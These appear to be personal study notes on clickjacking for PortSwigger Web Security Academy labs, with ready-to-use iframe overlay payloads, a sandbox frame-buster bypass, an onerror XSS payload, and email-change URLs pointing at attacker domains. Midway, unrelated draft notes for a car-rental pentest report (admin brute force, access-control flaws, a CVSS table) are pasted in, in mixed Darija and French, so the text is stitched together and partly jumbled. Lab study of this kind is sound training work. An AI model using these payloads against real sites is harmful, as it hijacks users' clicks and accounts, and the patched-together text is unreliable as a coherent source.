Clickjacking (UI Redressing)

Clickjacking is an attack where a user is tricked into clicking on something different from what they perceive. The attacker overlays a transparent or opaque iframe over a decoy page to hijack clicks.

What is Clickjacking?#

• Definition: A UI redressing attack tricking users into performing unintended actions.
• Technique: Uses transparent iframes and CSS layering.
• Impact: Users unknowingly interact with sensitive buttons (e.g., "Delete Account", "Transfer Money").

Difference between Clickjacking and CSRF#

Common Protections#

• X-Frame-Options header
  • deny
  • sameorigin
• Content-Security-Policy (CSP)
  • frame-ancestors 'none';
  • frame-ancestors 'self';
• Frame busting scripts
• Sandbox attribute on iframes

Example CSS for a Clickjacking Attack#

<style>
  iframe {
      position:relative;
      width:700px;
      height:500px;
      opacity:0.0001;
      z-index: 2;
  }
  div {
      position:absolute;
      top:300px;
      left:60px;
      z-index: 1;
  }
</style>
<div>Click me</div>
<iframe src="TARGET-URL"></iframe>

Labs Overview & Solutions Strategy#

1️⃣ Basic clickjacking with CSRF token protection#

Goal: Trick victim into clicking "Delete Account".

Steps:

Frame account page in transparent iframe. Align "Click me" decoy with "Delete" button. Adjust opacity, top, left in CSS. Deliver exploit.

2️⃣ Clickjacking with prefilled form input#

Goal: Change victim's email.

Steps:

Frame account page with prefilled email in URL parameter:

/my-account?email=attacker@evil.com

Align decoy "Click me" over "Update email" button. Adjust CSS positions. Deliver exploit.

3️⃣ Clickjacking with a frame buster script#

Goal: Bypass frame-busting JavaScript.

Technique:

Use iframe with sandbox="allow-forms":

<iframe sandbox="allow-forms" src="..."></iframe>

Neutralizes script checking for top window.

Steps:

Frame target with prefilled email. Align decoy. Deliver exploit.

4️⃣ Exploiting clickjacking to trigger DOM-based XSS#

Goal: Force user click to execute XSS payload.

Steps: Frame feedback form with payload in URL:

?name=<img src=1 onerror=print()>

Align decoy over "Submit" button.

Deliver exploit.

5️⃣ Multistep Clickjacking#

Goal: Trick user into confirming a sensitive action with multiple clicks.

Steps:

Use two decoy buttons: First aligns with "Delete Account". Second aligns with confirmation "Yes". CSS classes for positioning each step:

<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>

Deliver exploit.

Recommended Defenses

Always set X-Frame-Options or CSP frame-ancestors. Use anti-CSRF tokens (but alone they don't stop clickjacking). Use frame-busting scripts as additional defense. Test your site in real browsers (Chrome, Firefox) to verify protection.

Sensitive Data Exposure: JWT Secret Key Leak andiroliha ghir high ashbi (hit fo9ach atkon critik hiya fach anl3bo biha b des autres atack like confusion awla chi blan bach ndiro dima privilige escalation) + Broken Access Control: Unauthorized Car Creation (hadi mjhda hit dakhla f privv escalation wkatkhrb9 application aslan ayy wahed ymknlo yzid tomobil y9dr y3mmmmmro bles tomobiles li makayninch aslan f site wywlli application kolchi sakht 3liha wamachi mwtoo9a w asln makaynch rate limit fla creation dyal tomobilat donc Bypass role-based access controls  Perform admin-only actions  Manipulate application data  Compromise business logic integrity +ect ) + Broken Access Control: Unauthorized Reservation Confirmation h(hadi mjhda tahiya hit momkin ana hacker nreserver normal w ndkhl n accepti rassi as admin wn accepti alll li baghi ana anwli knkhrb9 f application atwli machi mwto9a awlla momkin nwwd sda3 mabin les clients n accepti ayy wahed reserve dyalo w tnod lfoda ayji client ayl9a rasso deja reserved parceque ana hacker accpetito wlkin charika atgolo non ma acceptinakch donc tkhrbi9 Disrupt service availability for legitimate customers ) + Business Logic Error: Double Booking (Race Condition/Validation) ( hadi high hit availabilitydyal tomobil kat2ttr Data integrity failure: the system stores conflicting reservations for the same vehicle/time period  Operational disruption: customers can arrive to pick up a car that is already assigned  Financial and reputational damage due to refunds, disputes, and loss of trust  ) + Stored XSS via SVG Upload hadi momkin ndiro  Execute arbitrary JavaScript in an administrator’s browser  Perform privileged actions such as deleting reservations Pentesting report · Valinnov
17

Pentesting report · Valinnov 18  Bypass CSRF protections by abusing authenticated sessions  Steal sensitive data or session tokens  Fully compromise the administrative interface whttaaa (Phishing Vector) donc hadi critical + Weak Lockout Mechanism (Admin Brute Force) high hit ghadi nwrrihom f exemple bli rani drt brute force wjbt lmodpass dyal admin li kayn 3ndi fwahed wordlist hadi khatiira w ayy user momkin ndirlo brute force wnakhdlo account takover wnreserverlo wndirlo ayy haja donc tlll3 impact + CSRF on Admin Panel (ndiro le cas dyal Delete Car) f zero klik admin ma aydir walo just aywslo matalan lien hadi high + Reflected XSS on Forgot Password Page medium w7awl tbyyn impact like Execute arbitrary JavaScript in a victim’s browser  Steal session cookies or authentication tokens  Perform phishing attacks  Deface application content  Execute actions on behalf of authenticated users ) + Information Disclosure: Hardcoded Credentials mochkila hadi + Clickjacking: UI Redressing on Admin Panel momkin tddih yms7 chi data wt2ttr 3la application+Username Enumeration (Forgot Password) hadi dirha medium ashbi hit momkin ndir brute force wnjbd alll users possible wmoraha apres ndiro brute force hit deja makaynch rate liimiit + Full Path Disclosure (PHP Warning) hadi mafhmtch saraha chno impact dyalha mais mhm dirha ghir loow wsf + Weak Password Policy (Non-Compliance) 7awl tbyyn impact mzyan hit rah momkin ndiro pasword b 1 matalan + Password Auto-Completion Enabled hadi 7awl tbyyn impact dyalha hit saraha momkin pc ythaka yak awla chi malware likayjbd les donnes wkhososan lakan account admin ashbi khliha low +Server Banner Disclosure (Version Info)INFO0.0None (Informational)16

Self-XSS on Signup Page nice aller

ID,Vulnerability Name,Severity,CVSS Score,CVSS Vector (v3.1) 01,Stored Cross-Site Scripting (XSS) via SVG Upload (Admin Takeover),CRITICAL,9.0,AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 02,Broken Access Control: Unauthorized Car Creation,CRITICAL,9.1,AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H 03,Broken Access Control: Unauthorized Reservation Confirmation,CRITICAL,9.1,AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H 04,Weak Lockout Mechanism (Admin Brute Force & Account Takeover),HIGH,8.1,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 05,Sensitive Data Exposure: JWT Secret Key Leak,HIGH,7.5,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 06,CSRF on Admin Panel (Zero-Click Data Deletion),HIGH,8.1,AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H 07,Business Logic Error: Double Booking via ID Manipulation,HIGH,7.5,AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H 08,Reflected Cross-Site Scripting (XSS) on Forgot Password,MEDIUM,6.1,AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 09,Username Enumeration via Forgot Password (No Rate Limit),MEDIUM,5.3,AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 10,Information Disclosure: Hardcoded Credentials,MEDIUM,5.3,AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 11,Clickjacking on Admin Panel (Action Hijacking),MEDIUM,4.3,AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 12,Full Path Disclosure (PHP Warning),LOW,3.3,AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 13,Weak Password Policy (Non-Compliance),LOW,2.6,AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N 14,Password Auto-Completion Enabled,LOW,2.1,AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 15,Server Version Disclosure (Banner Grabbing),INFO,0.0,None (Informational) 16,Self-XSS on Signup Page,INFO,0.0,None (Informational)

Clickjacking vs CSRF#

أول حاجة: CSRF شنو كيوقع؟ تخيل معايا:

🌿 أنت مسجل دخول فموقع البنك ديالك. 🌿 تمشي تزور موقع خايب ديال المهاجم. 🌿 هداك الموقع الخايب فيه كود مخبي كيقول للبانك: «حول الفلوس». 🌿 المتصفح ديالك يرسل الطلب للبانك بلا ما يسولك، لأنك أنت مسجل دخول من قبل. 🌿 البنك يعتقد أنك أنت اللي طلبتي، وينفذ الطلب.

📌 يعني: أنت ما درتي حتى حاجة. ما كليكيتي على والو. 📌 الهجوم كيوقع بوحدو، غير لأنك دخلتي لصفحة المهاجم.

دابا: Clickjacking شنو كيوقع؟ تخيل معايا:

🌿 المهاجم يصاوب موقع فيه زر كبير مكتوب عليه «اربح آيفون». 🌿 هو يحط فوق هاد الزر، زر آخر مخبي من موقع البنك ديالك، شفاف. 🌿 أنت تشوف غير زر الجائزة وتفرح وتكليك. 🌿 لكن في الحقيقة أنت ضغطتي على الزر ديال «حول الفلوس».

📌 يعني: الهجوم ما يقدرش يوقع بوحدو. 📌 خاصك أنت شخصياً تضغط بيدك. 📌 بلا ما تكليكِي ما يوقع والو.

الخلاصة اللي نبغي توصلك:

⭐ CSRF = بلا ما تكليكِي، الهجوم يخدم وحدو. ⭐ Clickjacking = خاصك تكليكِي باش يخدم الهجوم.

مثال آخر باش يزيد يوضح:

🟣 CSRF = بحال شي واحد كيسرق فلوسك وأنت ناعس. 🟣 Clickjacking = بحال شي واحد يخدعك باش أنت تعطيه الفلوس بيديك وانت ضاحك وظان أنك كتربح.

exemple payload

<html>
<head>
<style>
    iframe {
        position:relative;
        width:1000; /* $width_value */
        height: 700;  /* $height_value */
        opacity: 0.0001;  /* $opacity_value */
        z-index: 2;
    }
    div {
        position:absolute;
        top:515; /* $top_value */
        left:70; /* $left_value */
        z-index: 1;
    }
</style>
</head>
<body>
<div id="decoy_website">
  <button class="button" type="submit">Click Me</button>
</div>
<iframe src="https://0a8a006c047e635a80a3170100fb00d7.web-security-academy.net/my-account" </iframe>
</body>
</html>
 

with sandbox="allow-forms" :

<html>
<head>
<style>
    iframe {
        position:relative;
        width:1000; /* $width_value */
        height: 700;  /* $height_value */
        opacity: 0.1;  /* $opacity_value */
        z-index: 2;
    }
    div {
        position:absolute;
        top:470; /* $top_value */
        left:70; /* $left_value */
        z-index: 1;
    }
</style>
</head>
<body>
<div id="decoy_website">
  <button class="button" type="submit">Click Me</button>
</div>
<iframe sandbox="allow-forms" src="https://0a9100b30323bf0680e5030800d500e1.web-security-academy.net/my-account?email=hacker44@attacker-website.com" </iframe>
</body>
</html>
 

Exploiting clickjacking vulnerability to trigger DOM-based XSS

The fields are taken from the DOM: name, email, subject, message.

These fields are read directly from the DOM. The application takes the values for name, email, subject, and message from the URL parameters or user input and inserts them into the page without proper sanitization. This can lead to DOM-based XSS if an attacker supplies malicious values.

<style>
	iframe {
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
	}
	div {
		position:absolute;
		top:$top_value;
		left:$side_value;
		z-index: 1;
	}
</style>
<div>Test me</div>
<iframe
src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>